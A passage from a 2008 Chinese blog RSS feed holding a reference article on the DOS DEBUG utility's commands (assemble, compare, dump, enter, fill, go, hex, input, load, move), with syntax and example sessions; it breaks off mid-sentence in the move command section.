href=&quot;http://feed.feedsky.com/~flare/woidiy?a=66c6f1630c7a607f6165aa80c9e6b8f7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=66c6f1630c7a607f6165aa80c9e6b8f7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=97fc0fe95ef249a63abccce28e5a59e3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=97fc0fe95ef249a63abccce28e5a59e3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=bebeee75270bdb669c9be9a51ba2accd&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=bebeee75270bdb669c9be9a51ba2accd&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=7fa9545073fe956a2f468a41f8e05721&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=7fa9545073fe956a2f468a41f8e05721&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=5672ee4d878961a3a3a60a3eb163f53b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=5672ee4d878961a3a3a60a3eb163f53b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=f3254cdddd7014e7058f9c0cbcaaf182&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=f3254cdddd7014e7058f9c0cbcaaf182&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Sat, 26 Apr 2008 09:35:41 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=490</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=490</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72278910/4066013</fs:itemid></item><item><title>DEBUG命令详解</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278911/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=489</wfw:commentRss><description>DEBUG是DOS中的一个外部命令，从DOS 1.0起就带有此命令，因此可见此命令的重要性了。虽然此命令的功能非常强大，可以解决许多问题，可是对许多人来说，尤其是初学者来说，却非常不易掌握。因此，现将DEBUG的命令详细介绍一番，以让大家知道它的使用。&lt;br /&gt;&lt;br /&gt;Debug:A（汇编）&lt;br /&gt;&lt;br /&gt;直接将 8086/8087/8088 记忆码合并到内存。&lt;br /&gt;&lt;br /&gt;该命令从汇编语言语句创建可执行的机器码。所有数值都是十六进制格式，必须按一到四个字符输入这些数值。在引用的操作代码（操作码）前指定前缀记忆码。&lt;br /&gt;&lt;br /&gt;a [address]&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;address&lt;br /&gt;&lt;br /&gt;指定键入汇编语言指令的位置。对 address 使用十六进制值，并键入不以“h”字符结尾的每个值。如果不指定地址，a 将在它上次停止处开始汇编。&lt;br /&gt;&lt;br /&gt;有关将数据输入到指定字节中的信息，请单击“相关主题”列表中的 Debug E（键入）。&lt;br /&gt;&lt;br /&gt;有关反汇编字节的信息，请单击“相关主题”列表中的 Debug U（反汇编）。&lt;br /&gt;&lt;br /&gt;说明&lt;br /&gt;&lt;br /&gt;使用记忆码&lt;br /&gt;&lt;br /&gt;段的替代记忆码为 cs:、ds:、es: 和 ss:。远程返回的记忆码是 retf。字符串处理的记忆码必须明确声明字符串大小。例如，使用 movsw 可以移动 16 位的字串，使用 movsb 可以移动 8 位字节串。&lt;br /&gt;&lt;br /&gt;汇编跳转和调用&lt;br /&gt;&lt;br /&gt;汇编程序根据字节替换自动将短、近和远的跳转及调用汇编到目标地址。通过使用 near 或 far 前缀可以替代这样的跳转或调用，如下例所示：&lt;br /&gt;&lt;br /&gt;-a0100:0500&lt;br /&gt;0100:0500 jmp 502 ; a 2-byte short jump&lt;br /&gt;0100:0502 jmp near 505 ; a 3-byte near jump&lt;br /&gt;0100:0505 jmp far 50a ; a 5-byte far jump&lt;br /&gt;&lt;br /&gt;可以将 near 前缀缩写为 ne。&lt;br /&gt;&lt;br /&gt;区分字和字节内存位置&lt;br /&gt;&lt;br /&gt;当某个操作数可以引用某个字内存位置或者字节内存位置时，必须用前缀 word ptr 或者前缀 byte ptr 指定数据类型。可接受的缩写分别是 wo 和 by。以下范例显示两种格式：&lt;br /&gt;&lt;br /&gt;dec wo [si]&lt;br /&gt;neg byte ptr [128]&lt;br /&gt;&lt;br /&gt;指定操作数&lt;br /&gt;&lt;br /&gt;Debug 使用包括在中括号 ([ ]) 的操作数引用内存地址的习惯用法。这是因为另一方面 Debug 不能区分立即操作数和内存地址的操作数。以下范例显示两种格式：&lt;br /&gt;&lt;br /&gt;mov ax,21 ; load AX with 21h&lt;br /&gt;mov ax,[21] ; load AX with the&lt;br /&gt;; contents of&lt;br /&gt;; memory location 21h&lt;br /&gt;&lt;br /&gt;使用伪指令&lt;br /&gt;&lt;br /&gt;使用 a 命令提供两个常用的伪指令：db 操作码，将字节值直接汇编到内存，dw 操作码，将字值直接汇编到内存。以下是两个伪指令的范例：&lt;br /&gt;&lt;br /&gt;db 1,2,3,4,&amp;quot;THIS IS AN EXAMPLE&amp;quot;&lt;br /&gt;db &amp;#39;THIS IS A QUOTATION MARK:&amp;quot;&amp;#39;&lt;br /&gt;db &amp;quot;THIS IS A QUOTATION MARK:&amp;#39;&amp;quot;&lt;br /&gt;dw 1000,2000,3000,&amp;quot;BACH&amp;quot;&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;&lt;br /&gt;a 命令支持所有形式的间接注册命令，如下例所示：&lt;br /&gt;&lt;br /&gt;add bx,34[bp+2].[si-1]&lt;br /&gt;pop [bp+di]&lt;br /&gt;push [si] )&lt;br /&gt;&lt;br /&gt;还支持所有操作码同义词，如下例所示：&lt;br /&gt;&lt;br /&gt;loopz 100&lt;br /&gt;loope 100&lt;br /&gt;ja 200&lt;br /&gt;jnbe 200&lt;br /&gt;&lt;br /&gt;对于 8087 操作码，必须指定 wait 或 fwait 前缀，如下例所示：&lt;br /&gt;&lt;br /&gt;fwait fadd st,st(3) ; this line assembles&lt;br /&gt;; an fwait prefix&lt;br /&gt;&lt;br /&gt;Debug:C（比较）&lt;br /&gt;&lt;br /&gt;比较内存的两个部分。&lt;br /&gt;&lt;br /&gt;c range address&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;range&lt;br /&gt;&lt;br /&gt;指定要比较的内存第一个区域的起始和结束地址，或起始地址和长度。有关有效的 range 值的信息，请单击“相关主题”列表中的“Debug 说明”。&lt;br /&gt;&lt;br /&gt;address&lt;br /&gt;&lt;br /&gt;指定要比较的第二个内存区域的起始地址。有关有效 address 值的信息，请单击“相关主题”列表中的“Debug 说明”。&lt;br /&gt;&lt;br /&gt;说明&lt;br /&gt;&lt;br /&gt;如果 range 和 address 内存区域相同，Debug 将不显示任何内容而直接返回到 Debug 提示符。如果有差异，Debug 将按如下格式显示：&lt;br /&gt;address1 byte1 byte2 addess2&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;&lt;br /&gt;以下命令具有相同效果：&lt;br /&gt;&lt;br /&gt;c100,10f 300&lt;br /&gt;c100l10 300&lt;br /&gt;&lt;br /&gt;每个命令都对 100h 到 10Fh 的内存数据块与 300h 到 30Fh 的内存数据块进行比较。&lt;br /&gt;&lt;br /&gt;Debug 响应前面的命令并显示如下信息（假定 DS = 197F）：&lt;br /&gt;&lt;br /&gt;197F:0100 4D E4 197F:0300&lt;br /&gt;197F:0101 67 99 197F:0301&lt;br /&gt;197F:0102 A3 27 197F:0302&lt;br /&gt;197F:0103 35 F3 197F:0303&lt;br /&gt;197F:0104 97 BD 197F:0304&lt;br /&gt;197F:0105 04 35 197F:0305&lt;br /&gt;197F:0107 76 71 197F:0307&lt;br /&gt;197F:0108 E6 11 197F:0308&lt;br /&gt;197F:0109 19 2C 197F:0309&lt;br /&gt;197F:010A 80 0A 197F:030A&lt;br /&gt;197F:010B 36 7F 197F:030B&lt;br /&gt;197F:010C BE 22 197F:030C&lt;br /&gt;197F:010D 83 93 197F:030D&lt;br /&gt;197F:010E 49 77 197F:030E&lt;br /&gt;197F:010F 4F 8A 197F:030F&lt;br /&gt;&lt;br /&gt;注意列表中缺少地址 197F:0106 和 197F:0306。这表明那些地址中的值是相同的。&lt;br /&gt;&lt;br /&gt;Debug:D（转储）&lt;br /&gt;&lt;br /&gt;显示一定范围内存地址的内容。&lt;br /&gt;&lt;br /&gt;d [range]&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;range&lt;br /&gt;&lt;br /&gt;指定要显示其内容的内存区域的起始和结束地址，或起始地址和长度。有关有效的 range 值的信息，请单击“相关主题”列表中的“Debug 说明”。如果不指定 range，Debug 程序将从以前 d 命令中所指定的地址范围的末尾开始显示 128 个字节的内容。&lt;br /&gt;&lt;br /&gt;有关显示寄存器内容的信息，请单击“相关主题”列表中的 Debug R（寄存器）。&lt;br /&gt;&lt;br /&gt;说明&lt;br /&gt;当使用 d 命令时，Debug 以两个部分显示内存内容：十六进制部分（每个字节的值都用十六进制格式表示）和 ASCII 码部分（每个字节的值都用 ASCII 码字符表示)。每个非打印字符在显示的 ASCII 部分由句号 (.) 表示。每个显示行显示 16 字节的内容，第 8 字节和第 9 字节之间有一个连字符。每个显示行从 16 字节的边界上开始。&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;假定键入以下命令：&lt;br /&gt;dcs:100 10f&lt;br /&gt;Debug 按以下格式显示范围中的内容：&lt;br /&gt;04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM.SAWYER......&lt;br /&gt;如果在没有参数的情况下键入 d 命令，Debug 按以前范例中所描述的内容来编排显示格式。显示的每行以比前一行的地址大 16 个字节（如果是显示 40 列的屏幕，则为 8 个字节）的地址开头。&lt;br /&gt;对于后面键入的每个不带参数的 d 命令，Debug 将紧接在最后显示的命令后立即显示字节内容。&lt;br /&gt;如果键入以下命令，Debug 将从 CS:100 开始显示 20h 个字节的内容：&lt;br /&gt;dcs:100 l 20&lt;br /&gt;如果键入以下命令，Debug 将显示范围从 CS 段的 100h 到 115h 中所有字节的内容：&lt;br /&gt;dcs:100 115&lt;br /&gt;&lt;br /&gt;Debug:E（键入）&lt;br /&gt;&lt;br /&gt;将数据输入到内存中指定的地址。&lt;br /&gt;可以按十六进制或 ASCII 格式键入数据。以前存储在指定位置的任何数据全部丢失。&lt;br /&gt;&lt;br /&gt;e address &lt;ul class=&quot;ubb-list&quot; &gt;参数&lt;br /&gt;address&lt;br /&gt;指定输入数据的第一个内存位置。&lt;br /&gt;list&lt;br /&gt;指定要输入到内存的连续字节中的数据。&lt;br /&gt;有关集成记忆码的信息，请单击“相关主题”列表中的 Debug A（汇编）。&lt;br /&gt;有关显示内存部分内容的信息，请单击“相关主题”列表中的 Debug D （转储）。&lt;br /&gt;&lt;br /&gt;说明&lt;br /&gt;&lt;br /&gt;使用 address 参数&lt;br /&gt;&lt;br /&gt;如果在没有指定可选的 list 参数的值情况下指定 address 的值，Debug 将显示地址和内容，在下一行重复地址，并等待您的输入。此时，您可以执行下列操作之一：&lt;br /&gt;&lt;br /&gt;替换字节值。为此，请在当前值后键入新值。如果您键入的值不是有效的十六进制值，或该值包含两个以上的数字，则 Debug 不会回显无效或额外的字符。&lt;br /&gt;进入下一个字节。为此，请按 SPACEBAR（空格键）。要更改该字节中的值，请在当前值后键入新值。如果按 SPACEBAR（空格键）时，移动超过了 8 位界限，Debug 程序将显示新的一行并在行首显示新地址。&lt;br /&gt;返回到前一个字节。为此，请按 HYPHEN 键 (-)。可以反复按 HYPHEN 键 (-) 向后移动超过多个字节。在按 HYPHEN 时，Debug 开始新行并显示当前地址和字节值。&lt;br /&gt;停止执行 e 命令。为此，请按 ENTER 键。在任何字节位置都可以按 ENTER。&lt;br /&gt;使用 list 参数&lt;br /&gt;&lt;br /&gt;如果指定 list 参数的值，随后的 e 命令将使用列表中的值替换现有的字节值。如果发生错误，将不更改任何字节值。&lt;br /&gt;&lt;br /&gt;List 值可以是十六进制字节或字符串。使用空格、逗号或制表符来分隔值。必须将字符串包括在单或双引号中。&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;&lt;br /&gt;假定键入以下命令：&lt;br /&gt;&lt;br /&gt;ecs:100&lt;br /&gt;&lt;br /&gt;Debug 按下面的格式显示第一个字节的内容：&lt;br /&gt;&lt;br /&gt;04BA:0100 EB.&lt;br /&gt;&lt;br /&gt;要将该值更改为 41，请在插入点键入 41，如下所示：&lt;br /&gt;&lt;br /&gt;04BA:0100 EB.41_&lt;br /&gt;&lt;br /&gt;可以用一个 e 命令键入连续的字节值。在键入新值后按 SPACEBAR（空格键），而不是按 ENTER 键。Debug 显示下一个值。在此范例中，如果按三次 SPACEBAR（空格键），Debug 将显示下面的值：&lt;br /&gt;&lt;br /&gt;04BA:0100 EB.41 10. 00. BC._&lt;br /&gt;&lt;br /&gt;要将十六进制值 BC 更改为 42，请在插入点键入 42，如下所示：&lt;br /&gt;&lt;br /&gt;04BA:0100 EB.41 10. 00. BC.42_&lt;br /&gt;&lt;br /&gt;假定决定值 10 应该是 6F。要纠正该值，请按 HYPHEN 键两次以返回到地址 0101（值 10）。Debug 显示以下内容：&lt;br /&gt;&lt;br /&gt;04BA:0100 EB.41 10. 00. BC.42-&lt;br /&gt;04BA:0102 00.-&lt;br /&gt;04BA:0101 10._&lt;br /&gt;&lt;br /&gt;在插入点键入 6f 更改值，如下所示：&lt;br /&gt;&lt;br /&gt;04BA:0101 10.6f_&lt;br /&gt;&lt;br /&gt;按 ENTER 停止 e 命令并返回到 Debug 提示符下。&lt;br /&gt;&lt;br /&gt;以下是字符串项的范例：&lt;br /&gt;&lt;br /&gt;eds:100 &amp;quot;This is the text example&amp;quot;&lt;br /&gt;&lt;br /&gt;该字符串将从 DS:100 开始填充 24 个字节&lt;br /&gt;&lt;br /&gt;Debug:F（填充）&lt;br /&gt;&lt;br /&gt;使用指定的值填充指定内存区域中的地址。&lt;br /&gt;&lt;br /&gt;可以指定十六进制或 ASCII 格式表示的数据。任何以前存储在指定位置的数据将会丢失。&lt;br /&gt;&lt;br /&gt;f range list&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;range&lt;br /&gt;&lt;br /&gt;指定要填充内存区域的起始和结束地址，或起始地址和长度。关于有效的 range 值的信息，请单击“相关主题”列表中的“Debug 说明”。&lt;br /&gt;&lt;br /&gt;list&lt;br /&gt;&lt;br /&gt;指定要输入的数据。List 可以由十六进制数或引号包括起来的字符串组成。&lt;br /&gt;&lt;br /&gt;说明&lt;br /&gt;&lt;br /&gt;使用 range 参数&lt;br /&gt;&lt;br /&gt;如果 range 包含的字节数比 list 中的数值大，Debug 将在 list 中反复指派值，直到 range 中的所有字节全部填充。&lt;br /&gt;&lt;br /&gt;如果在 range 中的任何内存损坏或不存在，Debug 将显示错误消息并停止 f 命令。&lt;br /&gt;&lt;br /&gt;使用 list 参数&lt;br /&gt;&lt;br /&gt;如果 list 包含的数值多于 range 中的字节数，Debug 将忽略 list 中额外的值。&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;&lt;br /&gt;假定键入以下命令：&lt;br /&gt;&lt;br /&gt;f04ba:100l100 42 45 52 54 41&lt;br /&gt;&lt;br /&gt;作为响应，Debug 使用指定的值填充从 04BA:100 到 04BA:1FF 的内存位置。Debug 重复这五个值直到 100h 个字节全部填满为止。&lt;br /&gt;&lt;br /&gt;Debug:G（转向）&lt;br /&gt;&lt;br /&gt;运行当前在内存中的程序。&lt;br /&gt;&lt;br /&gt;g [=address] [breakpoints]&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;=address&lt;br /&gt;&lt;br /&gt;指定当前在内存中要开始执行的程序地址。如果不指定 address，Windows 2000 将从 CS:IP 寄存器中的当前地址开始执行程序。&lt;br /&gt;&lt;br /&gt;breakpoints&lt;br /&gt;&lt;br /&gt;指定可以设置为 g 命令的部分的 1 到 10 个临时断点。&lt;br /&gt;&lt;br /&gt;有关执行循环、重复的字符串指令、软件中断或子程序的信息，请单击“相关主题”列表中的 Debug P（执行）。&lt;br /&gt;&lt;br /&gt;有关执行指令的信息，请单击“相关主题”列表中的 Debug T（跟踪）。&lt;br /&gt;&lt;br /&gt;Debug:H（十六进制）&lt;br /&gt;&lt;br /&gt;对指定的两个参数执行十六进制运算。&lt;br /&gt;&lt;br /&gt;h value1 value2&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;value1&lt;br /&gt;&lt;br /&gt;代表从 0 到 FFFFh 范围内的任何十六进制数字。&lt;br /&gt;&lt;br /&gt;value2&lt;br /&gt;&lt;br /&gt;代表从 0 到 FFFFh 范围内第二个十六进制数字。&lt;br /&gt;&lt;br /&gt;说明&lt;br /&gt;&lt;br /&gt;Debug 首先将指定的两个参数相加，然后从第一个参数中减去第二个参数。这些计算的结果显示在一行中：先计算和，然后计算差。&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;&lt;br /&gt;假定键入以下命令：&lt;br /&gt;&lt;br /&gt;h19f 10a&lt;br /&gt;&lt;br /&gt;Debug 执行运算并显示以下结果。&lt;br /&gt;02A9 0095&lt;br /&gt;&lt;br /&gt;Debug:I（输入）&lt;br /&gt;&lt;br /&gt;从指定的端口读取并显示一个字节值。&lt;br /&gt;&lt;br /&gt;i port&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;port&lt;br /&gt;&lt;br /&gt;按地址指定输入端口。地址可以是 16 位的值。&lt;br /&gt;&lt;br /&gt;有关将字节值发送到输出端口的信息，请单击“相关主题”列表中的 Debug O（输出）。&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;&lt;br /&gt;假定键入以下命令：&lt;br /&gt;&lt;br /&gt;i2f8&lt;br /&gt;&lt;br /&gt;同时假定端口的字节值是 42h。Debug 读取该字节，并将其值显示如下：&lt;br /&gt;42&lt;br /&gt;&lt;br /&gt;Debug:L（加载）&lt;br /&gt;&lt;br /&gt;将某个文件或特定磁盘扇区的内容加载到内存。&lt;br /&gt;&lt;br /&gt;要从磁盘文件加载 BX:CX 寄存器中指定的字节数内容，请使用以下语法：&lt;br /&gt;&lt;br /&gt;l [address]&lt;br /&gt;&lt;br /&gt;要略过 Windows 2000 文件系统并直接加载特定的扇区，请使用以下语法：&lt;br /&gt;&lt;br /&gt;l address drive start number&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;address&lt;br /&gt;&lt;br /&gt;指定要在其中加载文件或扇区内容的内存位置。如果不指定 address，Debug 将使用 CS 寄存器中的当前地址。&lt;br /&gt;&lt;br /&gt;drive&lt;br /&gt;&lt;br /&gt;指定包含读取指定扇区的磁盘的驱动器。该值是数值型：0 = A, 1 = B, 2 = C 等。&lt;br /&gt;&lt;br /&gt;start&lt;br /&gt;&lt;br /&gt;指定要加载其内容的第一个扇区的十六进制数。&lt;br /&gt;&lt;br /&gt;number&lt;br /&gt;&lt;br /&gt;指定要加载其内容的连续扇区的十六进制数。只有要加载特定扇区的内容而不是加载 debug 命令行或最近的 Debug n（名称）命令中指定的文件时，才能使用 drive、start 和 number 参数。&lt;br /&gt;&lt;br /&gt;有关指定用于 l 命令的文件的信息，请单击“相关主题”列表中的 Debug n（名称）。&lt;br /&gt;&lt;br /&gt;有关写入调试到磁盘的文件的信息，请单击“相关主题”列表中的 Debug w（写入）。&lt;br /&gt;&lt;br /&gt;注意&lt;br /&gt;&lt;br /&gt;使用不带参数的 l 命令&lt;br /&gt;&lt;br /&gt;当使用不带参数的 l 命令时，在 debug 命令行上指定的文件将加载到内存中，从地址 CS:100 开始。Debug 同时将 BX 和 CX 寄存器设置为加载的字节数。如果不在 debug 命令行指定文件，所装入的文件将是最近使用 n 命令经常指定的文件。&lt;br /&gt;&lt;br /&gt;使用具有 address 参数的 1 命令&lt;br /&gt;&lt;br /&gt;如果使用带 address 参数的 l 命令，Debug 将从内存位置 address 开始加载文件或指定扇区的内容。&lt;br /&gt;&lt;br /&gt;使用带全部参数的 l 命令&lt;br /&gt;&lt;br /&gt;如果使用带所有参数的 l 命令，Debug 将加载指定磁盘扇区的内容而不是加载文件。&lt;br /&gt;&lt;br /&gt;加载特定扇区的内容&lt;br /&gt;&lt;br /&gt;指定范围内的每个扇区均从 drive 读取。Debug 从 start 开始加载，直到在 number 中指定的扇区数中的内容全部被加载。&lt;br /&gt;&lt;br /&gt;加载 .exe 文件&lt;br /&gt;&lt;br /&gt;Debug 忽略 .exe 文件的地址 address 参数。如果指定 .exe 文件，Debug 将文件重新定位到 .exe 文件的标题中指定的加载地址。在 .exe 文件被加载到内存前，标题自身从 .exe 文件脱离，因此磁盘上的 .exe 文件大小与内存中的不同。如果要检查整个 .exe 文件，请使用不同的扩展名重命名文件。&lt;br /&gt;&lt;br /&gt;打开十六进制文件&lt;br /&gt;&lt;br /&gt;Debug 将具有 .hex 扩展名的文件认为十六进制格式文件。键入不带参数的 l 命令，可以加载从十六进制文件中指定的地址处开始的十六进制文件。如果键入的 l 命令包含 address 参数，Debug 将把指定的地址加到在十六进制文件中找到的地址上，以确定起始地址。&lt;br /&gt;&lt;br /&gt;范例&lt;br /&gt;&lt;br /&gt;假定启动 Debug 并键入以下命令：&lt;br /&gt;&lt;br /&gt;nfile.com&lt;br /&gt;&lt;br /&gt;现在可以键入 l 命令以加载 File.com。Debug 将加载文件并显示 Debug 提示符。&lt;br /&gt;&lt;br /&gt;假定需要从驱动器 C 将起始逻辑扇区为 15 (0Fh) 的 109 (6Dh) 个扇区的内容加载到起始地址为 04BA:0100 的内存中。为此，请键入以下命令：&lt;br /&gt;l04ba:100 2 0f 6d&lt;br /&gt;&lt;br /&gt;Debug:M（移动）&lt;br /&gt;&lt;br /&gt;将一个内存块中的内容复制到另一个内存块中。&lt;br /&gt;&lt;br /&gt;m range address&lt;br /&gt;&lt;br /&gt;参数&lt;br /&gt;&lt;br /&gt;range&lt;br /&gt;&lt;br /&gt;指定要复制内容的内存区域的起始和结束地址，或起始地址和长度。&lt;br /&gt;&lt;br /&gt;address&lt;br /&gt;&lt;br /&gt;指定要将 range 内容复制到该位置的起始地址。&lt;br /&gt;&lt;br /&gt;说明&lt;br /&gt;&lt;br /&gt;复制操作对现有数据的影响&lt;br /&gt;&lt;br /&gt;如果新数据没有写入正在被复制的数据块中的地址，则源数据将保持不变。但是，如果目标块已经包含数据(就象它在覆盖副本操作中一样)，则将改写该数据。（覆盖复制操作是指那些目标数据块部分内容覆盖原数据块部分内容的操作。）&lt;br /&gt;&lt;br /&gt;执行覆盖复制操作&lt;br /&gt;&lt;br /&gt;m 命令执行目标地址的覆盖复制操作，而不丢失数据。将改写的地址内容首先复制。因此，如果将较高位地址的数据复制到较低位地址